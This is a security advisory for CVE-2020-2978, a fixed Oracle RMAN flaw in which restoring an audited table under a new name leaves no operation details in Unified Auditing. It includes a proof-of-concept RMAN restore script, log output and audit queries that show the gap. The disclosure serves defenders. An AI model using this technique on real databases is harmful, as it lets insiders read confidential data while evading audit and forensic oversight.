Title: CVE-2020-2978 - Oracle RMAN Audit table point in time recovery not recorded Product: Database Manufacturer: Oracle Affected Version(s): 12.1.0.2, 12.2.0.1, 18c, 19c Tested Version(s): 19c Risk Level: Medium Score: 4.1 Solution Status: Fixed CVE Reference: CVE-2020-2978 Author of Advisory: Emad Al-Mousa Overview: Audit failure is a security weakness in software product especially if a security audit is in-place to detect a certain operation. Oracle RMAN is a database Recovery Manager utility for backup and restore operations, so any security weakness/vulnerability can be exploited by insider threat or external attacker to view confidential data in unauthorized manner. ***************************************** Vulnerability Details: The scope of this security research is to detect if a database administrator tried to restore a "sensitive table" (already in-place auditing is configured against SELECT statements against this sensitive table). The following research illustrates that despite RMAN operations are audited by “default” in pure “Unified Auditing” mode, the table point of time recovery activity/action was not logged in the audit logs. As a result, any trails for future forensic investigation or real time security operations monitoring for activities against highly confidential sensitive table will not be met. ***************************************** Proof of Concept (PoC): // I will check first if Unified Auditing feature is enabled in an Oracle database system: SQL> select value from v$option where parameter ='Unified Auditing'; VALUE ---------------------------------------------------------------- TRUE SQL> select * from DBA_AUDIT_MGMT_CONFIG_PARAMS where PARAMETER_NAME = 'AUDIT WRITE MODE'; PARAMETER_NAME ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ PARAMETER_VALUE ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ AUDIT_TRAIL ---------------------------- AUDIT WRITE MODE IMMEDIATE WRITE MODE UNIFIED AUDIT TRAIL // I will create linux shell script to restore a sensitive database table with different name , you will need to access the Linux OS as DBA linux account for the exploit to work ....the sensitive table is called "dummy" under schema called "DBA" and the attacker will restore it with different name ---> dummy_55: touch /tmp/dbtest/resotre.sh chmod 700 /tmp/dbtest/resotre.sh vi /tmp/dbtest/resotre.sh #!/bin/sh export ORACLE_SID=dbtest export ORACLE_HOME=/orcl/dbtest/product/18.3 export RMAN_LOG_FILE=/tmp/dbtest/aux_db/db_restore.log RMAN=$ORACLE_HOME/bin/rman CMD_STR=" ORACLE_HOME=$ORACLE_HOME export ORACLE_HOME ORACLE_SID=$ORACLE_SID export ORACLE_SID $RMAN target \/ msglog $RMAN_LOG_FILE append << EOF connect CATALOG $RCVCAT_CONNECT_STR run { recover table dba.dummy #until scn 56330407409 until time \"to_date('23-JAN-2020 08:00:00','DD-MON-YYYY HH24:MI:SS')\" auxiliary destination '/tmp/dbtest/aux_db' remap table dba.dummy:dummy_55; } EOF " /usr/bin/sh -c "$CMD_STR" >> $RMAN_LOG_FILE // then run the shell script: /tmp/dbtest/resotre.sh // Log File /tmp/dbtest/aux_db/db_restore.log shows the restore is successful: auxiliary instance file /tmp/dbtest/aux_db/JTVB_PITR_dbtest/onlinelog/o1_mf_1_h2lopldq_.log deleted auxiliary instance file /tmp/dbtest/aux_db/JTVB_PITR_dbtest/datafile/o1_mf_ts_user__h2locvjr_.dbf deleted auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_sysaux_h2lncb1c_.dbf deleted auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_ts_undo__h2lnlrw7_.dbf deleted auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_system_h2lncb14_.dbf deleted auxiliary instance file /tmp/dbtest/aux_db/dbtest/datafile/o1_mf_system_h2lncbvp_.dbf deleted auxiliary instance file /tmp/dbtest/aux_db/dbtest/controlfile/o1_mf_h2ln7ftc_.ctl deleted auxiliary instance file tspitr_jtvb_19868.dmp deleted Finished recover at 01/23/2020-11:19:30 RMAN> RMAN> Recovery Manager complete. // you can now access the sensitive table and query data: sqlplus / as sysdba SQL> select * from dba.dummy_55; // Checking the unified audit trail: SQL> select EVENT_TIMESTAMP, ACTION_NAME, RMAN_SESSION_STAMP, RMAN_OPERATION,RMAN_OPERATION,RMAN_OBJECT_TYPE from unified_audit_trail where ACTION_NAME like '%RMAN%' order by 1; The RMAN session is logged in the audit table, but there is NO details of what kind of RMAN operation took place ?! Conclusion: SystemAdmin/Attacker can view sensitive data without being audited which will impact forensic investigation, and threat detection. ***************************************** References: https://www.oracle.com/security-alerts/cpujul2020.html https://nvd.nist.gov/vuln/detail/CVE-2020-2978 https://databasesecurityninja.wordpress.com/2020/12/01/cve-2020-2978-rman-audit-table-point-in-time-recovery-not-logged/